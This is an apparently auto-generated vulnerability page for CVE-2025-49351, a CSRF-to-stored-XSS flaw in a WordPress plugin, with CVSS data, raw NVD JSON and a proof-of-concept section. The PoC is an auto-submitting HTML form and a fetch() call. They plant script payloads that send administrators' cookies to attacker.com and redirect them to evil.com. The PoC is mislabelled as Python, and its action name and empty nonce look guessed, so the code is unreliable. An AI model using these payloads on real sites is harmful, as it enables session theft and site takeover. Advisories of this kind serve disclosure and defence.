Security Vulnerability Report
中文
CVE-2025-49351 CVSS 7.1 HIGH

CVE-2025-49351

Published: 2025-12-09 16:17:59
Last Modified: 2026-04-28 19:33:02

Description

Cross-Site Request Forgery (CSRF) vulnerability in Valentin Agachi Create Posts & Terms create-posts-terms allows Stored XSS.This issue affects Create Posts & Terms: from n/a through <= 1.3.1.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Create Posts & Terms <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-49351: Create Posts & Terms CSRF to Stored XSS --> <!-- This PoC demonstrates how an attacker can inject malicious JavaScript via CSRF --> <html> <body> <h1>CVE-2025-49351 CSRF PoC</h1> <p>诱骗管理员提交恶意文章以触发存储型XSS</p> <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="exploitForm"> <input type="hidden" name="action" value="create_pots_terms_action" /> <input type="hidden" name="post_title" value="<img src=x onerror='alert(document.cookie)'>" /> <input type="hidden" name="post_content" value="<script>fetch('https://attacker.com/steal?c='+btoa(document.cookie))</script>" /> <input type="hidden" name="taxonomy" value="category" /> <input type="hidden" name="term_name" value="XSS-Term<script>alert('XSS')</script>" /> <input type="hidden" name="nonce" value="" /> </form> <script> // Auto-submit the form when page loads document.getElementById('exploitForm').submit(); console.log('CSRF PoC sent - check if XSS payload was stored'); </script> <p>或者使用Fetch API发送请求:</p> <button onclick="sendExploit()">发送漏洞利用请求</button> <script> function sendExploit() { fetch('http://target-wordpress-site/wp-admin/admin-ajax.php', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: new URLSearchParams({ 'action': 'create_pots_terms_action', 'post_title': '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">', 'post_content': 'Malicious content with XSS payload', 'taxonomy': 'category', 'term_name': '<script>document.location=\'https://evil.com/redirect?url=\'+document.cookie</script>' }) }); } </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-49351", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:58.670", "lastModified": "2026-04-28T19:33:01.637", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Valentin Agachi Create Posts & Terms create-posts-terms allows Stored XSS.This issue affects Create Posts & Terms: from n/a through <= 1.3.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/create-posts-terms/vulnerability/wordpress-create-posts-terms-plugin-1-3-1-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}